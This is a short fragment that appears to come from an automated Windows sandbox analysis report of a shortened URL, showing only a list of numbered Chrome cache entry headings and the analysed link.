Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Windows Analysis Report
https://tinyurl.com/286oc4ly